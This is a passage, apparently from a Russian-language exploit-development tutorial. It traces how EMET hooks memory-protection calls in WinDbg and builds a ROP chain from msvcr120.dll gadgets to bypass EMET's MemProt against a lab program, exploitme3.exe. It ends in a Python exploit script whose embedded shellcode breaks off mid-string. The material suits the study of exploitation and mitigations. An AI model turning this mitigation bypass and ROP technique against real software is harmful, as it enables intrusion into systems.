    763b4336 8b4e04          mov     ecx,dword ptr [esi+4]
    763b4339 894804          mov     dword ptr [eax+4],ecx
    763b433c e9e9eaffff      jmp     kernel32!LocalBaseRegEnumKey+0x292 (763b2e2a)
    763b4341 8b85d0feffff    mov     eax,dword ptr [ebp-130h]
    Эта функция начинается с инструкции JMP! Посмотрим куда она нас приведет:

    Code:
    36f104b0 83ec24          sub     esp,24h
    36f104b3 68e88b1812      push    12188BE8h
    36f104b8 6840208f70      push    offset EMET!EMETSendCert+0xac0 (708f2040)
    36f104bd 68d604f136      push    36F104D6h
    36f104c2 6804000000      push    4
    36f104c7 53              push    ebx
    36f104c8 60              pushad
    36f104c9 54              push    esp
    36f104ca e8816c9a39      call    EMET+0x27150 (708b7150)
    36f104cf 61              popad
    36f104d0 83c438          add     esp,38h
    36f104d3 c21000          ret     10h
    Окей, это EMET. Инструкция JMP является хуком, при помощи которого EMET перехватывает вызовы VirtualProtect.

    Если бы не было этого хука, VirtualProtectStub вызывал kernel32!VirtualProtect. Давайте посмотрим на это.

    Code:
    0:000> u kernel32!VirtualProtect
    kernel32!VirtualProtect:
    763b10c8 ff2518093b76    jmp     dword ptr [kernel32!_imp__VirtualProtect (763b0918)]
    763b10ce 90              nop
    763b10cf 90              nop
    763b10d0 90              nop
    763b10d1 90              nop
    763b10d2 90              nop
    kernel32!WriteProcessMemory:
    763b10d3 ff251c093b76    jmp     dword ptr [kernel32!_imp__WriteProcessMemory (763b091c)]
    763b10d9 90              nop
    Тут мы видим просто редирект, который не имеет ничего общего с EMET:

    Code:
    0:000> u poi(763b0918)
    KERNELBASE!VirtualProtect:
    7625efc3 e9d815cbc0      jmp     36f105a0     <----------------- another hook from EMET
    7625efc8 ff7514          push    dword ptr [ebp+14h]
    7625efcb ff7510          push    dword ptr [ebp+10h]
    7625efce ff750c          push    dword ptr [ebp+0Ch]
    7625efd1 ff7508          push    dword ptr [ebp+8]
    7625efd4 6aff            push    0FFFFFFFFh
    7625efd6 e8c1feffff      call    KERNELBASE!VirtualProtectEx (7625ee9c)
    7625efdb 5d              pop     ebp
    Обратите внимание на хук от EMET. В то время как VirtualProtect работает с текущим процессом, VirtualProtectEx дает возможность указать конкретный процесс, с которым вы хотите работать. Как можно видеть, VirtualProtect вызывает VirtualProtectEx с дополнительным значением -1, которое указывает на текущий процесс. Остальные параметры те же, что и у VirtualProtect.

    Теперь давайте посмотрим на VirtualProtectEx:

    Code:
    0:000> u KERNELBASE!VirtualProtectEx
    KERNELBASE!VirtualProtectEx:
    7625ee9c e97717cbc0      jmp     36f10618     <----------------- another hook from EMET
    7625eea1 56              push    esi
    7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
    7625eea8 57              push    edi
    7625eea9 ff7518          push    dword ptr [ebp+18h]
    7625eeac 8d4510          lea     eax,[ebp+10h]
    7625eeaf ff7514          push    dword ptr [ebp+14h]
    7625eeb2 50              push    eax
    0:000> u
    KERNELBASE!VirtualProtectEx+0x17:
    7625eeb3 8d450c          lea     eax,[ebp+0Ch]
    7625eeb6 50              push    eax
    7625eeb7 ff7508          push    dword ptr [ebp+8]
    7625eeba ffd6            call    esi      <------------------- calls NtProtectVirtualMemory
    7625eebc 8bf8            mov     edi,eax
    7625eebe 85ff            test    edi,edi
    7625eec0 7c05            jl      KERNELBASE!VirtualProtectEx+0x2b (7625eec7)
    7625eec2 33c0            xor     eax,eax
    И снова хук от EMET. Однако VirtualProtectEx вызывает NtProtectVirtualMemory:

    Code:
    0:000> u poi(KERNELBASE!_imp__NtProtectVirtualMemory)
    ntdll!ZwProtectVirtualMemory:
    76eb0038 e9530606c0      jmp     36f10690     <----------------- this is getting old...
    76eb003d 33c9            xor     ecx,ecx
    76eb003f 8d542404        lea     edx,[esp+4]
    76eb0043 64ff15c0000000  call    dword ptr fs:[0C0h]
    76eb004a 83c404          add     esp,4
    76eb004d c21400          ret     14h
    ntdll!ZwQuerySection:
    76eb0050 b84e000000      mov     eax,4Eh
    76eb0055 33c9            xor     ecx,ecx
    А это уже выглядит знакомым: ZwProtectVirtualMemory вызывает Ring 0 сервис! Заметьте, что номер сервиса был перезаписан хуком от EMET, но если исходить из номера следующего сервиса, который равен 0x4E, то наш очевидно должен быть под номером 0x4D.

    Если вы внимательно изучите код VirtualProtectEx, то увидите, что параметры, на которые указывает EDX в ZwProtectVirtualMemory, идут в другом порядке, отличном от того, в котором они передавались в VirtualProtectEx. Чтобы рассмотреть все получше, давайте отключим MemProt, затем перезагрузим (Ctrl+Shift+F5) exploitme3.exe в WinDbg и установим следующий брейкпойнт:

    Code:
    bp exploitme3!f "bp KERNELBASE!VirtualProtectEx;g"
    Он остановит выполнение программы на вызове функции VirtualProtectEx, которую вызовет наша ROP-цепочка. Установив этот брейкпойнт, нажимаем F5 (Go) и попадем сюда:

    Code:
    KERNELBASE!VirtualProtectEx:
    7625ee9c 8bff            mov     edi,edi      <-------------------- we are here!
    7625ee9e 55              push    ebp
    7625ee9f 8bec            mov     ebp,esp
    7625eea1 56              push    esi
    7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
    7625eea8 57              push    edi
    7625eea9 ff7518          push    dword ptr [ebp+18h]
    7625eeac 8d4510          lea     eax,[ebp+10h]
    7625eeaf ff7514          push    dword ptr [ebp+14h]
    7625eeb2 50              push    eax
    7625eeb3 8d450c          lea     eax,[ebp+0Ch]
    7625eeb6 50              push    eax
    7625eeb7 ff7508          push    dword ptr [ebp+8]
    7625eeba ffd6            call    esi
    На этот раз, как и ожидалось, нет хуков. Вот наши 5 параметров в стеке:


    Давайте посмотрим, как они кладутся в стек:

    Code:
    KERNELBASE!VirtualProtectEx:
    7625ee9c 8bff            mov     edi,edi      <-------------------- we are here!
    7625ee9e 55              push    ebp
    7625ee9f 8bec            mov     ebp,esp
    7625eea1 56              push    esi
    7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
    7625eea8 57              push    edi
    7625eea9 ff7518          push    dword ptr [ebp+18h]      // lpflOldProtect (writable location)
    7625eeac 8d4510          lea     eax,[ebp+10h]
    7625eeaf ff7514          push    dword ptr [ebp+14h]      // PAGE_EXECUTE_READWRITE
    7625eeb2 50              push    eax                      // ptr to size
    7625eeb3 8d450c          lea     eax,[ebp+0Ch]
    7625eeb6 50              push    eax                      // ptr to address
    7625eeb7 ff7508          push    dword ptr [ebp+8]        // 0xffffffff (current process)
    7625eeba ffd6            call    esi
    Войдите в вызов:

    Code:
    ntdll!ZwProtectVirtualMemory:
    76eb0038 b84d000000      mov     eax,4Dh
    76eb003d 33c9            xor     ecx,ecx
    76eb003f 8d542404        lea     edx,[esp+4]
    76eb0043 64ff15c0000000  call    dword ptr fs:[0C0h]
    76eb004a 83c404          add     esp,4
    76eb004d c21400          ret     14h
    EDX будет указывать на эти 5-ть параметров в следующем порядке:

    Code:
    0xffffffff (current process)
    ptr to address
    ptr to size
    PAGE_EXECUTE_READWRITE
    lpflOldProtect (writable location)
    Вот конкретный пример:


    Прежде, чем тратить наше время на создание новой ROP-цепочки, которая могла бы не работать, нам нужно убедиться, что мы не столкнемся с еще какими-нибудь сюрпризами.

    Один из самых простых способов сделать это, заключается в том, чтобы отладить exploitme3.exe с включенным MemProt и перезаписанными хуками EMET, которые следует заменить на оригинальный код. Если все работает хорошо, тогда можно продолжить. Я оставлю вам это в качестве упражнения (сделайте это!).


    Создание ROP-цепочки

    Даже при том, что, для очистки отладочных регистров, мы будем использовать вызов сервиса ядра, как делали это ранее, на этот раз все будет намного сложнее, потому что нам нужно сделать это с помощью ROP-гаджетов.

    Основная проблема здесь в том, что msvcr120.dll не содержит ни одного вызова call dword ptr fs:[0C0h] или его вариаций, таких как call fs:[eax] или fs:eax. Однако, мы знаем, что в ntdll есть много таких вызовов, поэтому может у нас получится найти способ получить один из таких адресов?

    Давайте посмотрим на таблицу импорта (IAT, Import Address Table) из msvcr120.dll:

    Code:
    0:000> !dh msvcr120
    
    File Type: DLL
    FILE HEADER VALUES
         14C machine (i386)
           5 number of sections
    524F7CE6 time date stamp Sat Oct 05 04:43:50 2013
    
           0 file pointer to symbol table
           0 number of symbols
          E0 size of optional header
        2122 characteristics
                Executable
                App can handle >2gb addresses
                32 bit word machine
                DLL
    
    OPTIONAL HEADER VALUES
         10B magic #
       12.00 linker version
       DC200 size of code
        DC00 size of initialized data
           0 size of uninitialized data
       11A44 address of entry point
        1000 base of code
             ----- new -----
    73c60000 image base
        1000 section alignment
         200 file alignment
           2 subsystem (Windows GUI)
        6.00 operating system version
       10.00 image version
        6.00 subsystem version
       EE000 size of image
         400 size of headers
       FB320 checksum
    00100000 size of stack reserve
    00001000 size of stack commit
    00100000 size of heap reserve
    00001000 size of heap commit
         140  DLL characteristics
                Dynamic base
                NX compatible
        1860 [    CED0] address  of Export Directory
       E52BC [      28] address  of Import Directory
       E7000 [     3E8] address  of Resource Directory
           0 [       0] address  of Exception Directory
       E9200 [    3EA0] address  of Security Directory
       E8000 [    5D64] address  of Base Relocation Directory
       DD140 [      38] address  of Debug Directory
           0 [       0] address  of Description Directory
           0 [       0] address  of Special Directory
           0 [       0] address  of Thread Storage Directory
       19E48 [      40] address  of Load Configuration Directory
           0 [       0] address  of Bound Import Directory
       E5000 [     2BC] address  of Import Address Table Directory    <------------------------
           0 [       0] address  of Delay Import Directory
           0 [       0] address  of COR20 Header Directory
           0 [       0] address  of Reserved Directory
    
    [...]
    
    0:000> dds msvcr120+E5000 L 2bc/4
    73d45000  76ed107b ntdll!RtlEncodePointer
    73d45004  76ec9dd5 ntdll!RtlDecodePointer
    73d45008  763b586e kernel32!RaiseExceptionStub
    73d4500c  763b11c0 kernel32!GetLastErrorStub
    73d45010  763b79d8 kernel32!FSPErrorMessages::CMessageMapper::StaticCleanup+0xc
    73d45014  763b3470 kernel32!GetModuleHandleWStub
    73d45018  763b4a37 kernel32!GetModuleHandleExWStub
    73d4501c  763b1222 kernel32!GetProcAddressStub
    73d45020  76434611 kernel32!AreFileApisANSIStub
    73d45024  763b18fa kernel32!MultiByteToWideCharStub
    73d45028  763b16d9 kernel32!WideCharToMultiByteStub
    73d4502c  763b5169 kernel32!GetCommandLineAStub
    73d45030  763b51eb kernel32!GetCommandLineWStub
    73d45034  763b1420 kernel32!GetCurrentThreadIdStub
    73d45038  76eb22c0 ntdll!RtlEnterCriticalSection
    73d4503c  76eb2280 ntdll!RtlLeaveCriticalSection
    73d45040  76ec4625 ntdll!RtlDeleteCriticalSection
    73d45044  763b1481 kernel32!GetModuleFileNameAStub
    73d45048  763b11a9 kernel32!SetLastError
    73d4504c  763b17b8 kernel32!GetCurrentThreadStub
    73d45050  763b4918 kernel32!GetModuleFileNameWStub
    73d45054  763b51fd kernel32!IsProcessorFeaturePresent
    73d45058  763b517b kernel32!GetStdHandleStub
    73d4505c  763b1282 kernel32!WriteFileImplementation
    73d45060  763b440a kernel32!FindCloseStub
    73d45064  764347bf kernel32!FindFirstFileExAStub
    73d45068  763dd52e kernel32!FindNextFileAStub
    73d4506c  763c17d9 kernel32!FindFirstFileExWStub
    73d45070  763b54b6 kernel32!FindNextFileWStub
    73d45074  763b13e0 kernel32!CloseHandleImplementation
    73d45078  763b3495 kernel32!CreateThreadStub
    73d4507c  76ee801c ntdll!RtlExitUserThread
    73d45080  763b43b7 kernel32!ResumeThreadStub
    73d45084  763b4925 kernel32!LoadLibraryExWStub
    73d45088  763d0622 kernel32!SystemTimeToTzSpecificLocalTimeStub
    73d4508c  763b53f4 kernel32!FileTimeToSystemTimeStub
    73d45090  7643487f kernel32!GetDiskFreeSpaceAStub
    73d45094  763b5339 kernel32!GetLogicalDrivesStub
    73d45098  763b1acc kernel32!SetErrorModeStub
    73d4509c  764256f0 kernel32!BeepImplementation
    73d450a0  763b10ff kernel32!SleepStub
    73d450a4  763be289 kernel32!GetFullPathNameAStub
    73d450a8  763b11f8 kernel32!GetCurrentProcessIdStub
    73d450ac  763b453c kernel32!GetFileAttributesExWStub
    73d450b0  763cd4c7 kernel32!SetFileAttributesWStub
    73d450b4  763b409c kernel32!GetFullPathNameWStub
    73d450b8  763b4221 kernel32!CreateDirectoryWStub
    73d450bc  763c9b05 kernel32!MoveFileExW
    73d450c0  76434a0f kernel32!RemoveDirectoryWStub
    73d450c4  763b4153 kernel32!GetDriveTypeWStub
    73d450c8  763b897b kernel32!DeleteFileWStub
    73d450cc  763be2f9 kernel32!SetEnvironmentVariableAStub
    73d450d0  763c17fc kernel32!SetCurrentDirectoryAStub
    73d450d4  763dd4e6 kernel32!GetCurrentDirectoryAStub
    73d450d8  763c1228 kernel32!SetCurrentDirectoryWStub
    73d450dc  763b55d9 kernel32!GetCurrentDirectoryWStub
    73d450e0  763b89b9 kernel32!SetEnvironmentVariableWStub
    73d450e4  763b1136 kernel32!WaitForSingleObject
    73d450e8  763c1715 kernel32!GetExitCodeProcessImplementation
    73d450ec  763b1072 kernel32!CreateProcessA
    73d450f0  763b3488 kernel32!FreeLibraryStub
    73d450f4  763b48db kernel32!LoadLibraryExAStub
    73d450f8  763b103d kernel32!CreateProcessW
    73d450fc  763b3e93 kernel32!ReadFileImplementation
    73d45100  763d273c kernel32!GetTempPathA
    73d45104  763cd4ac kernel32!GetTempPathW
    73d45108  763b1852 kernel32!DuplicateHandleImplementation
    73d4510c  763b17d5 kernel32!GetCurrentProcessStub
    73d45110  763b34c9 kernel32!GetSystemTimeAsFileTimeStub
    73d45114  763b4622 kernel32!GetTimeZoneInformationStub
    73d45118  763b5a6e kernel32!GetLocalTimeStub
    73d4511c  763dd4fe kernel32!LocalFileTimeToFileTimeStub
    73d45120  763cec8b kernel32!SetFileTimeStub
    73d45124  763b5a46 kernel32!SystemTimeToFileTimeStub
    73d45128  76434a6f kernel32!SetLocalTimeStub
    73d4512c  76ec47a0 ntdll!RtlInterlockedPopEntrySList
    73d45130  76ec27b5 ntdll!RtlInterlockedFlushSList
    73d45134  76ec474c ntdll!RtlQueryDepthSList
    73d45138  76ec4787 ntdll!RtlInterlockedPushEntrySList
    73d4513c  763db000 kernel32!CreateTimerQueueStub
    73d45140  763b1691 kernel32!SetEventStub
    73d45144  763b1151 kernel32!WaitForSingleObjectExImplementation
    73d45148  7643ebeb kernel32!UnregisterWait
    73d4514c  763b11e0 kernel32!TlsGetValueStub
    73d45150  763cf874 kernel32!SignalObjectAndWait
    73d45154  763b14cb kernel32!TlsSetValueStub
    73d45158  763b327b kernel32!SetThreadPriorityStub
    73d4515c  7643462b kernel32!ChangeTimerQueueTimerStub
    73d45160  763cf7bb kernel32!CreateTimerQueueTimerStub
    73d45164  76432482 kernel32!GetNumaHighestNodeNumber
    73d45168  763dcaf5 kernel32!RegisterWaitForSingleObject
    73d4516c  76434ca1 kernel32!GetLogicalProcessorInformationStub
    73d45170  763ccd9d kernel32!RtlCaptureStackBackTraceStub
    73d45174  763b4387 kernel32!GetThreadPriorityStub
    73d45178  763ba839 kernel32!GetProcessAffinityMask
    73d4517c  763d0570 kernel32!SetThreadAffinityMask
    73d45180  763b4975 kernel32!TlsAllocStub
    73d45184  763cf7a3 kernel32!DeleteTimerQueueTimerStub
    73d45188  763b3547 kernel32!TlsFreeStub
    73d4518c  763cefbc kernel32!SwitchToThreadStub
    73d45190  76ec2540 ntdll!RtlTryEnterCriticalSection
    73d45194  7643347c kernel32!SetProcessAffinityMask
    73d45198  763b183a kernel32!VirtualFreeStub
    73d4519c  763b1ab1 kernel32!GetVersionExWStub
    73d451a0  763b1822 kernel32!VirtualAllocStub
    73d451a4  763b4327 kernel32!VirtualProtectStub
    73d451a8  76ec9514 ntdll!RtlInitializeSListHead
    73d451ac  763cd37b kernel32!ReleaseSemaphoreStub
    73d451b0  763db901 kernel32!UnregisterWaitExStub
    73d451b4  763b48f3 kernel32!LoadLibraryW
    73d451b8  763dd1c4 kernel32!OutputDebugStringWStub
    73d451bc  763cd552 kernel32!FreeLibraryAndExitThreadStub
    73d451c0  763b1245 kernel32!GetModuleHandleAStub
    73d451c4  7643592b kernel32!GetThreadTimes
    73d451c8  763b180a kernel32!CreateEventWStub
    73d451cc  763b1912 kernel32!GetStringTypeWStub
    73d451d0  763b445b kernel32!IsValidCodePageStub
    73d451d4  763b1768 kernel32!GetACPStub
    73d451d8  763dd191 kernel32!GetOEMCPStub
    73d451dc  763b5151 kernel32!GetCPInfoStub
    73d451e0  763dd1b3 kernel32!RtlUnwindStub
    73d451e4  763b1499 kernel32!HeapFree
    73d451e8  76ebe046 ntdll!RtlAllocateHeap
    73d451ec  763b14b9 kernel32!GetProcessHeapStub
    73d451f0  76ed2561 ntdll!RtlReAllocateHeap
    73d451f4  76ec304a ntdll!RtlSizeHeap
    73d451f8  7643493f kernel32!HeapQueryInformationStub
    73d451fc  763cb153 kernel32!HeapValidateStub
    73d45200  763b46df kernel32!HeapCompactStub
    73d45204  7643496f kernel32!HeapWalkStub
    73d45208  763b4992 kernel32!GetSystemInfoStub
    73d4520c  763b4422 kernel32!VirtualQueryStub
    73d45210  763b34f1 kernel32!GetFileTypeImplementation
    73d45214  763b4d08 kernel32!GetStartupInfoWStub
    73d45218  763be266 kernel32!FileTimeToLocalFileTimeStub
    73d4521c  763b5376 kernel32!GetFileInformationByHandleStub
    73d45220  76434d61 kernel32!PeekNamedPipeStub
    73d45224  763b3f1c kernel32!CreateFileWImplementation
    73d45228  763b1328 kernel32!GetConsoleMode
    73d4522c  764578d2 kernel32!ReadConsoleW
    73d45230  76458137 kernel32!GetConsoleCP
    73d45234  763cc7df kernel32!SetFilePointerExStub
    73d45238  763b4663 kernel32!FlushFileBuffersImplementation
    73d4523c  7643469b kernel32!CreatePipeStub
    73d45240  76434a8f kernel32!SetStdHandleStub
    73d45244  76457e77 kernel32!GetNumberOfConsoleInputEvents
    73d45248  76457445 kernel32!PeekConsoleInputA
    73d4524c  7645748b kernel32!ReadConsoleInputA
    73d45250  763ca755 kernel32!SetConsoleMode
    73d45254  764574ae kernel32!ReadConsoleInputW
    73d45258  763d7a92 kernel32!WriteConsoleW
    73d4525c  763cce06 kernel32!SetEndOfFileStub
    73d45260  763dd56c kernel32!LockFileExStub
    73d45264  763dd584 kernel32!UnlockFileExStub
    73d45268  763b4a25 kernel32!IsDebuggerPresentStub
    73d4526c  763d76f7 kernel32!UnhandledExceptionFilter
    73d45270  763b8791 kernel32!SetUnhandledExceptionFilter
    73d45274  763b18e2 kernel32!InitializeCriticalSectionAndSpinCountStub
    73d45278  763cd7d2 kernel32!TerminateProcessStub
    73d4527c  763b110c kernel32!GetTickCountStub
    73d45280  763cca32 kernel32!CreateSemaphoreW
    73d45284  763b89d1 kernel32!SetConsoleCtrlHandler
    73d45288  763b16f1 kernel32!QueryPerformanceCounterStub
    73d4528c  763b51ab kernel32!GetEnvironmentStringsWStub
    73d45290  763b5193 kernel32!FreeEnvironmentStringsWStub
    73d45294  763d34a7 kernel32!GetDateFormatW
    73d45298  763cf451 kernel32!GetTimeFormatW
    73d4529c  763b3b8a kernel32!CompareStringWStub
    73d452a0  763b1785 kernel32!LCMapStringWStub
    73d452a4  763b3c02 kernel32!GetLocaleInfoWStub
    73d452a8  763cce1e kernel32!IsValidLocaleStub
    73d452ac  763b3d65 kernel32!GetUserDefaultLCIDStub
    73d452b0  7643479f kernel32!EnumSystemLocalesWStub
    73d452b4  763db297 kernel32!OutputDebugStringAStub
    73d452b8  00000000
    Я последовательно исследовал каждую функцию из ntdll, пока не нашёл подходящего кандидата: ntdll!RtlExitUserThread.

    Давайте рассмотрим его:

    Code:
    ntdll!RtlExitUserThread:
    76ee801c 8bff            mov     edi,edi
    76ee801e 55              push    ebp
    76ee801f 8bec            mov     ebp,esp
    76ee8021 51              push    ecx
    76ee8022 56              push    esi
    76ee8023 33f6            xor     esi,esi
    76ee8025 56              push    esi
    76ee8026 6a04            push    4
    76ee8028 8d45fc          lea     eax,[ebp-4]
    76ee802b 50              push    eax
    76ee802c 6a0c            push    0Ch
    76ee802e 6afe            push    0FFFFFFFEh
    76ee8030 8975fc          mov     dword ptr [ebp-4],esi
    76ee8033 e8d07bfcff      call    ntdll!NtQueryInformationThread (76eafc08)      <-------------------
    Теперь посмотрим на ntdll!NtQueryInformationThread:

    Code:
    ntdll!NtQueryInformationThread:
    76eafc08 b822000000      mov     eax,22h
    76eafc0d 33c9            xor     ecx,ecx
    76eafc0f 8d542404        lea     edx,[esp+4]
    76eafc13 64ff15c0000000  call    dword ptr fs:[0C0h]
    76eafc1a 83c404          add     esp,4
    76eafc1d c21400          ret     14h
    Отлично! Теперь, как можно определить адрес нужного вызова call dword ptr fs:[0C0h]?

    Мы знаем адрес ntdll!RtlExitUserThread, потому что он имеет фиксированный RVA в IAT из msvcr120. По адресу ntdll!RtlExitUserThread+0x17 у нас находится вызов ntdll!NtQueryInformationThread. Этот вызов имеет следующий формат:

    Code:
    here:
      E8 offset
    Адрес вызова вычисляется так:

    Code:
    here + offset + 5
    В нашем ROP, мы можем вычислить адрес ntdll!NtQueryInformationThread следующим образом:

    Code:
    EAX = 0x7056507c          ; ptr to address of ntdll!RtlExitUserThread (IAT)
    EAX = [EAX]               ; address of ntdll!RtlExitUserThread
    EAX += 0x18               ; address of "offset" component of call to ntdll!NtQueryInformationThread
    EAX += [EAX] + 4          ; address of ntdll!NtQueryInformationThread
    EAX += 0xb                ; address of "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
    Теперь мы готовы построить полную ROP-цепочку! Как обычно, будем использовать mona:

    Code:
    .load pykd.pyd
    !py mona rop -m msvcr120
    Вот полный скрипт на Питоне:

    Code:
    import struct
    
    msvcr120 = 0x73c60000
    
    # Delta used to fix the addresses based on the new base address of msvcr120.dll.
    md = msvcr120 - 0x70480000
    
    
    def create_rop_chain(code_size):
        rop_gadgets = [
            # ecx = esp
            md + 0x704af28c,     # POP ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0xffffffff,
            md + 0x70532761,     # AND ECX,ESP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
    
            # ecx = args+8 (&endAddress)
            md + 0x704f4681,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            75*4,
            md + 0x7054b28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
    
            # address = ptr to address
            md + 0x704f2487,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704846b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
            md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
            0x11111111,          # for RETN 0x04
    
            # ecx = args+4 (ptr to &address)
            md + 0x704f4681,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0xfffffff0,
            md + 0x7054b28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
    
            # &address = ptr to address
            md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
            md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
            0x11111111,          # for RETN 0x04
    
            # ecx = args+8 (ptr to &size)
            md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
    
            # edx = ptr to size
            md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
    
            # &size = ptr to size
            md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
            md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
            0x11111111,          # for RETN 0x04
    
            # edx = args
            md + 0x704f2487,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
            md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
            md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
            md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
            md + 0x704846b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
    
            # EAX = ntdll!RtlExitUserThread
            md + 0x7053b8fb,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x7056507c,     # IAT: &ntdll!RtlExitUserThread
            md + 0x70501e19,     # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
            0x11111111,
            0x11111111,
    
            # EAX = ntdll!NtQueryInformationThread
            md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704a691c,     # ADD EAX,DWORD PTR [EAX] # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
            md + 0x704ecd87,     # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x11111111,
            0x11111111,
            md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
            0x11111111,          # for RETN 0x04
    
            # EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
            md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
    
            # EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
            md + 0x704819e8,     # XCHG EAX,EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
    
            # ECX = 0; EAX = 0x4d
            md + 0x704f2485,     # XOR ECX,ECX # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            md + 0x7053b8fb,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
            0x4d,
    
            md + 0x704c0a08,     # JMP EBX
            md + 0x7055adf3,     # JMP ESP
            0x11111111,          # for RETN 0x14
            0x11111111,          # for RETN 0x14
            0x11111111,          # for RETN 0x14
            0x11111111,          # for RETN 0x14
            0x11111111,          # for RETN 0x14
    
        # real_code:
            0x90901eeb,          # jmp skip
    
        # args:
            0xffffffff,          # current process handle
            0x11111111,          # &address = ptr to address
            0x11111111,          # &size = ptr to size
            0x40,
            md + 0x705658f2,     # &Writable location [MSVCR120.dll]
        # end_args:
            0x11111111,          # address     <------- the region starts here
            code_size + 8        # size
        # skip:
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
    
    
    def write_file(file_path):
        with open(file_path, 'wb') as f:
            ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
            shellcode = (
                "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
                "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
                "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
                "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
                "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
